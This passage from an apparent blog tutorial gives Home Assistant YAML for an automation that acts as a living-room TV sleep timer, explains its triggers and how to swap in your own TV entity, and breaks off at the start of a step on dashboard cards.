&lt;p&gt;You’ll want to go into Home Assistant &lt;code&gt;Settings&lt;/code&gt; -&gt; &lt;code&gt;Automations &amp;#x26; Scenes&lt;/code&gt; &gt; &lt;code&gt;Automations&lt;/code&gt; and create a new automation. You can use the following YAML configuration to set up the automation that will handle the sleep timer functionality. In the new &lt;code&gt;Blank Automation&lt;/code&gt; screen, change to &lt;code&gt;YAML&lt;/code&gt; mode by clicking the 3 dots in the top right corner of the screen, then select &lt;code&gt;Edit in YAML&lt;/code&gt;. Once you are in YAML mode, you can copy and paste the following code:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Living Room TV Sleep Timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Sleep timer for Living Room TV&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;trigger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Trigger when automation is turned on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;platform&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;homeassistant&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ha_start&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;platform&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;event&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;event_type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;automation_reloaded&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;reload&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;platform&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;automation.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;off&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;to&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;on&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;automation_enabled&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Trigger when timer finishes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;platform&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;event&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;event_type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.finished&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;event_data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;timer_finished&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Trigger when input number changes while timer is running&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;platform&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;input_number.living_room_tv_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;timer_changed&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;condition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;choose&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# When automation is enabled, start the timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;conditions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;condition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;trigger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;automation_enabled&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ha_start&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;reload&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;sequence&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;duration&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;                {{ (states(&apos;input_number.living_room_tv_timer&apos;) | int * 60) }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;notify.persistent_notification&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;TV Sleep Timer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Sleep timer started for {{ states(&apos;input_number.living_room_tv_timer&apos;) | int }} minutes&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# When timer is changed while running, restart with new duration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;conditions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;condition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;trigger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;timer_changed&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;condition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;active&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;sequence&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;duration&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;                {{ (states(&apos;input_number.living_room_tv_timer&apos;) | int * 60) }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;notify.persistent_notification&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;TV Sleep Timer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Sleep timer updated to {{ states(&apos;input_number.living_room_tv_timer&apos;) | int }} minutes&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# When timer finishes, turn off TV&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;conditions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;condition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;trigger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;timer_finished&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;sequence&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;media_player.turn_off&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;media_player.living_room_tv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Replace with your actual TV entity&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;notify.persistent_notification&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;TV Sleep Timer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Sleep timer finished - TV turned off&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;automation.turn_off&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;              &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;automation.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;mode&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;single&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll notice that this has a bunch of triggers and actions in place. The reason for it is that this is handling multiple button interaction scenarios where you maybe start the timer but then change your mind and want to change prolong the timer duration so you move the slider to the right a bit, which will trigger the automation to restart the timer with the new duration. It also handles the case where you want to turn off the TV after the timer has finished, or if you want to turn off the automation itself.&lt;/p&gt;
&lt;p&gt;You’ll probably want to update the above to fit your own TV entity ID. In the example above, I used &lt;code&gt;media_player.living_room_tv&lt;/code&gt; as the entity ID for the TV. You can find your TV’s entity ID in Home Assistant by going to &lt;code&gt;Settings&lt;/code&gt; → &lt;code&gt;Devices &amp;#x26; Services&lt;/code&gt; → &lt;code&gt;Entities&lt;/code&gt;. You can also trigger other devices for &lt;code&gt;turn_off&lt;/code&gt; action, such as a smart plug or the Android TV Remote integration if you are using that. (I specified both of these devices: the TV Cast and the Android TV remote)&lt;/p&gt;
&lt;h2 id=&quot;step-4-create-the-home-assistant-dashboard-cards&quot;&gt;Step 4: Create the Home Assistant dashboard cards&lt;/h2&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;vertical-stack&lt;/span&gt;&lt;/span&gt;
